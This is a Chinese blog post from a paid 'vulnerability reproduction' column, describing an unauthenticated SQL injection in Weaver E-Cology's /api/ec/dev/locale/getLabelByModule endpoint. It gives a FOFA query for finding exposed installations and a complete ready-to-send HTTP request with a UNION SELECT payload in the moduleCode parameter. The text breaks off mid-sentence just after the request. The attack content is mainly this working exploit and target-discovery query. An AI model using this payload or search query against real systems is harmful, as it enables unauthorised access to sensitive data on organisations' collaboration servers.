泛微E-Cology getLabelByModule SQL注入（含批量验证poc）

今天晚上早睡觉

已于 2024-04-18 09:59:56 修改

阅读量42

点赞数

分类专栏：漏洞复现文章标签： sql 数据库 web安全

于 2024-04-18 09:59:39 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137908375

版权

漏洞复现专栏收录该内容

361 篇文章 88 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

产品介绍

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。

漏洞描述

由于泛微e-cology未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限等。

复现环境

FOFA：app=”泛微-E-Weaver”

漏洞复现

http://your-ip/api/ec/dev/locale/getLabelByModule

POC

GET /api/ec/dev/locale/getLabelByModule?moduleCode=?moduleCode=?moduleCode=1%27)%20union%20all%20select%20%27666666,%27%20-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate

出现